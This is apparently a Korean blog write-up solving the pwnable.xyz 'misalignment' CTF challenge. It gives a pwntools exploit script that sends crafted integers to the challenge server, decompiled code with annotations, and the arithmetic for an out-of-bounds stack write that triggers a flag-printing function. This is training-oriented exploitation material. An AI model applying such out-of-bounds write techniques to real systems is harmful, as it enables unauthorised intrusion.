security/포너블 - pwnable.xyz

pwnable.xyz - misalignment

민사민서 2023. 2. 5. 01:16
from pwn import *
p = remote("svc.pwnable.xyz", 30003)

p.sendline("-5404319552844595200 0 -6")
p.sendline(str(int(0xB000000))+" 0 -5")
p.sendline("a b c")

p.interactive()

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 s[20]; // [rsp+10h] [rbp-A0h] BYREF

// 스택 카나리: [rbp-0x8] = fs:0x28 넣고 마지막에 check
  s[19] = __readfsqword(0x28u);
  setup(argc, argv, envp);
// s[0]~s[18] 0으로 초기화
  memset(s, 0, 0x98uLL);
// s[1] 주소+7에 해당 값을 저장
// 즉 s[1] 마지막바이트+s[2] 첫 7바이트에 저장하겠다는 거네
// s[1]: 00 00 00 00 00 00 00 ef , s[2]: be ad de
  *(__int64 *)((char *)&s[1] + 7) = 3735928559LL;
// s[n] (n=0~16)에 s[4]+s[5] 값을 넣을 수 있다 
// s[1] = 0xB500000000000000 - 첫 바이트가 1 -> 음수이다!!
// s[2] = 0xB000000 - 첫 바이트가 0 -> 양수이다 str(int(0xb000000) 해버리면 됨
  while ( (unsigned int)_isoc99_scanf("%ld %ld %ld", &s[4], &s[5], &s[6]) == 3 && s[6] <= 9 && s[6] >= -7 )
  {
    s[s[6] + 7] = s[4] + s[5];
    printf("Result: %ld\n", s[s[6] + 7]);
  }
// s[1]: 00 00 00 00 00 00 00 B5 , s[2]: 00 00 00 0B 만들면 되네 
  if ( *(__int64 *)((char *)&s[1] + 7) == 0xB000000B5LL )
    win(); // system("cat /flag") 실행해준다
  return 0;
}

#include <stdio.h>

int main()
{
    long unsigned int a = 0xB500000000000000;
    printf("%ld", a);
}

이렇게 c언어 프로그램 돌리니까 a의 값(음수) 구할 수 있었다~~

혹은 "0xb500000000000000 - 0xffffffffffffffff - 1" 이렇게 구해도 됨 
절댓값은 (0xffffffffffffffff - 0xb50000000000000000 + 1) 일테니까 여기 -1을 곱하면 되므로~

**주의**
근데 이렇게 아이다로만 확인해서 보면 안됩니다. 
변수 사이에 dummy가 껴있을 수도 있기 때문에 아이다말고 직접 peda로 얼만큼 할당되는지 확인해야 한답니다~

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - note  (0) 2023.02.05
pwnable.xyz - grownup  (0) 2023.02.05
pwnable.xyz - add  (0) 2023.02.05
pwnable.xyz - sub  (0) 2023.02.05
pwnable.xyz - welcome  (0) 2023.02.05